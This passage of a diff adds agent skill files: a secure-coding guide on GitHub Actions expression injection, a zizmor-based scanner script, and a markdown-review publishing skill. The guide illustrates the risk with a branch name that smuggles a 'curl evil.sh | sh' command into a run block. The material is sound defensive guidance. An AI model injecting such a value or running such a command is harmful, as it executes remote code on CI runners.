The expression engine resolves `${{ }}` by **substituting text into the workflow file**, before the runner writes the `run:` block to a script and hands it to the shell. So a `run:` block is code generation, and every other field is a data slot. A branch named `x"; curl evil.sh | sh; :; "` doesn't produce a wrong comparison, it produces a different program.
|
|
26
|
+
|
|
27
|
+
That is also why the value can't be purified in the script: any validation written in bash executes *after* the substitution, so the script is already corrupted by the time the guard would run. Validation would have to happen in the expression engine, which has no regex, and whose result you'd then have to splice in anyway.
|
|
28
|
+
|
|
29
|
+
Two more reasons not to reason per-value:
|
|
30
|
+
|
|
31
|
+
- **Escaping is context-dependent.** The correct escape differs inside double quotes, single quotes, a heredoc, backticks. One value used twice needs two treatments. `env:` has one form that's right everywhere.
|
|
32
|
+
- **"Safe today" decays.** "Inert because every caller hardcodes it" is a fact about today's callers, not about the code. It's also invisible to the next person, who can't tell which splices were audited.
|
|
33
|
+
|
|
34
|
+
## Where interpolation is fine
|
|
35
|
+
|
|
36
|
+
| Field | Safe? | Why |
|
|
37
|
+
|---|---|---|
|
|
38
|
+
| `run:` | **No** | Substituted into the script's source text |
|
|
39
|
+
| `if:` | Yes | Evaluated by the expression engine as a value |
|
|
40
|
+
| `env:` | Yes | Value goes into the process environment |
|
|
41
|
+
| `with:` | At the boundary | Passed as an input value, but see below |
|
|
42
|
+
| `outputs:`, `name:` | Yes | Never parsed as code |
|
|
43
|
+
|
|
44
|
+
**`with:` is only as safe as the action behind it.** Passing a value into a composite action's input is a data slot, but if that action's own `run:` splices `${{ inputs.x }}`, the flaw has just moved inside the action. Apply this rule to `action.yml` files as strictly as to workflows.
|
|
45
|
+
|
|
46
|
+
## The same rule one level down
|
|
47
|
+
|
|
48
|
+
A shell variable is still data until something re-parses it. Inside the script:
|
|
49
|
+
|
|
50
|
+
- **JSON:** build it with `jq -n --arg name "$VALUE"`, never by concatenating into a quoted body.
|
|
51
|
+
- **Subprocesses:** pass argument lists (`subprocess.run([...])`, `"$@"`), never a string a shell will re-split.
|
|
52
|
+
- **`jq` filters:** the value goes in `--arg`, never into the filter text.
|
|
53
|
+
- **Never `eval`**, and never build a command string to run later.
|
|
54
|
+
- **`GITHUB_ENV` / `GITHUB_OUTPUT`:** a multi-line or attacker-influenced value needs the heredoc form with a random delimiter, or it can forge additional variables:
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
{
|
|
58
|
+
echo "result<<__EOF_$RANDOM"
|
|
59
|
+
echo "$VALUE"
|
|
60
|
+
echo "__EOF_$RANDOM"
|
|
61
|
+
} >> "$GITHUB_OUTPUT"
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
(Use one delimiter value, computed once, in both places.)
|
|
65
|
+
|
|
66
|
+
## Which values actually carry attacker text
|
|
67
|
+
|
|
68
|
+
The rule applies regardless, but this is what makes it more than theory. User-authored, reaching the workflow verbatim: `github.event.*` (PR title, body, commit message, author name), `github.head_ref`, `github.ref` and `github.ref_name` (branch names may contain `"`, `` ` ``, `$`, `;`). Not user-authored: `github.sha`, `github.run_id`, `github.repository`.
|
|
69
|
+
|
|
70
|
+
## Verify with a scanner, not by reading
|
|
71
|
+
|
|
72
|
+
```
|
|
73
|
+
mise run "<this skill's dir>/scan" [path] [--injection-only]
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
Defaults to scanning `.github`. `--injection-only` reports just the interpolation sites, one per line as `file:line`, which is the list to work through; without it you get zizmor's full output (unpinned actions, excessive permissions, credential persistence). If `mise` is missing, react per the `skill-dependencies` skill.
|
|
77
|
+
|
|
78
|
+
Expect a mature repo to report dozens of existing sites. That's a backlog, not a blocker: fix the block you're touching, and raise the rest as its own piece of work rather than expanding the change in front of you.
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
#!/usr/bin/env zsh
|
|
2
|
+
#MISE description="Scan GitHub Actions workflows for expression-injection and other zizmor findings"
|
|
3
|
+
#MISE tools={zizmor="latest", jq="latest"}
|
|
4
|
+
#USAGE arg "[path]" help="File or directory to scan" default=".github"
|
|
5
|
+
#USAGE flag "--injection-only" help="Report only template-injection sites, as file:line"
|
|
6
|
+
set -euo pipefail
|
|
7
|
+
|
|
8
|
+
PATH_TO_SCAN="$usage_path"
|
|
9
|
+
|
|
10
|
+
if [[ "${usage_injection_only:-false}" != "true" ]]; then
|
|
11
|
+
# zizmor exits non-zero when it finds anything, which is not a failure of the scan itself.
|
|
12
|
+
zizmor --persona=regular "$PATH_TO_SCAN" || true
|
|
13
|
+
exit 0
|
|
14
|
+
fi
|
|
15
|
+
|
|
16
|
+
# zizmor exits non-zero whenever it reports anything, so its status can't flow into the pipeline.
|
|
17
|
+
FINDINGS="$(zizmor --persona=regular --format=json "$PATH_TO_SCAN" 2>/dev/null || true)"
|
|
18
|
+
|
|
19
|
+
# One finding covers one expression, but carries several locations: the step, the run block, and
|
|
20
|
+
# the expression itself (kind "Primary"). Only the last one is worth reporting. Rows are 0-indexed.
|
|
21
|
+
print -r -- "$FINDINGS" \
|
|
22
|
+
| jq -r '
|
|
23
|
+
.[]
|
|
24
|
+
| select(.ident == "template-injection")
|
|
25
|
+
| .locations[0].symbolic.key.Local.verbatim_path as $path
|
|
26
|
+
| ( .locations[]
|
|
27
|
+
| select(.symbolic.kind == "Primary")
|
|
28
|
+
| .concrete.location.start_point.row + 1
|
|
29
|
+
) as $line
|
|
30
|
+
| "\($path):\($line)"
|
|
31
|
+
' \
|
|
32
|
+
| sort -u -t: -k1,1 -k2,2n
|
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: markdown-review
|
|
3
|
+
description: "MUST READ whenever you and the user are writing, editing or reviewing a markdown document together and the user needs to read it: a design doc, plan, guide, README, spec or any other .md file. Publishes the file as-is to a Claude artifact that renders it, so the user reads it formatted and comments on it, and republishes after every change."
|
|
4
|
+
verified: 2026-10-25
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# Markdown review
|
|
8
|
+
|
|
9
|
+
The user reads markdown rendered, not raw. While a markdown file is being written or reviewed
|
|
10
|
+
together, it lives on a Claude artifact made of three files:
|
|
11
|
+
|
|
12
|
+
1. **`index.html`:** this skill's `assets/index.html`, a renderer that never changes.
|
|
13
|
+
2. **`document.json`:** `{ "file": "<name>.md" }`, telling the renderer which file to load.
|
|
14
|
+
3. **`<name>.md`:** the markdown file itself, published unchanged under its real name.
|
|
15
|
+
|
|
16
|
+
The `.md` file in the repo stays the source of truth. The artifact is only a view of it.
|
|
17
|
+
|
|
18
|
+
## Publish
|
|
19
|
+
|
|
20
|
+
1. **Stage:** run this skill's `scripts/stage <markdown-file> <out-dir>`, with `<out-dir>` a
|
|
21
|
+
folder for this document in the session's scratch directory, such as
|
|
22
|
+
`<scratch>/markdown-review/<name>`. It prints three lines:
|
|
23
|
+
```
|
|
24
|
+
PAGE: <out-dir>/index.html
|
|
25
|
+
MANIFEST: <out-dir>/document.json
|
|
26
|
+
MARKDOWN: <name>.md <- <absolute path>
|
|
27
|
+
```
|
|
28
|
+
2. **Publish** with the Artifact tool:
|
|
29
|
+
- `file_path`: the `PAGE` path.
|
|
30
|
+
- `files`: `{"document.json": "<MANIFEST path>", "<name>.md": {"from": "<absolute path>", "contentType": "text/markdown"}}`.
|
|
31
|
+
- `icon`: `document`, on the first publish only.
|
|
32
|
+
- `description`: one sentence naming the document.
|
|
33
|
+
3. **Link:** give the user the artifact link.
|
|
34
|
+
|
|
35
|
+
A `files` source must be under the working directory or the scratch directory. When the
|
|
36
|
+
markdown file is elsewhere, copy it into `<out-dir>` first and publish the copy.
|
|
37
|
+
|
|
38
|
+
Images the markdown references by relative path render only if published too: add each to
|
|
39
|
+
`files` under the same relative path.
|
|
40
|
+
|
|
41
|
+
## After every change
|
|
42
|
+
|
|
43
|
+
Republish whenever the markdown file changes, without being asked:
|
|
44
|
+
|
|
45
|
+
- **Same session:** publish again with the same `file_path` and the `<name>.md` entry in
|
|
46
|
+
`files`. The page and `document.json` need no restaging.
|
|
47
|
+
- **Later session:** the scratch folder is gone. Run `scripts/stage` again, read the artifact
|
|
48
|
+
with `action: "read"`, then publish with its `url`.
|
|
49
|
+
- **Renamed file:** restage so `document.json` names the new file, and remove the old one
|
|
50
|
+
with `"<old>.md": null` in `files`.
|
|
51
|
+
|
|
52
|
+
## Review
|
|
53
|
+
|
|
54
|
+
Comments use the artifact's built-in comments: the user selects text and comments on it, and
|
|
55
|
+
you read and answer the threads with `ArtifactComments`. Never add a comment or notes UI to
|
|
56
|
+
the page; see the `artifacts` skill.
|
|
57
|
+
|
|
58
|
+
Apply the changes a comment asks for to the `.md` file in the repo, never to the artifact,
|
|
59
|
+
then republish.
|
|
60
|
+
|
|
61
|
+
## The renderer
|
|
62
|
+
|
|
63
|
+
- **Markdown:** GitHub-flavored, through `marked`, sanitized with `DOMPurify`.
|
|
64
|
+
- **Diagrams:** fenced `mermaid` blocks render as diagrams.
|
|
65
|
+
- **Title:** the browser tab shows the document's first heading.
|
|
66
|
+
- **Outline:** a side panel lists the headings and jumps to each; it and the document scroll
|
|
67
|
+
separately, and on narrow screens it opens from an Outline button.
|
|
68
|
+
- **Themes:** light and dark follow the viewer.
|
|
69
|
+
|
|
70
|
+
Change the renderer only in this skill's `assets/index.html`, so every document gets the fix.
|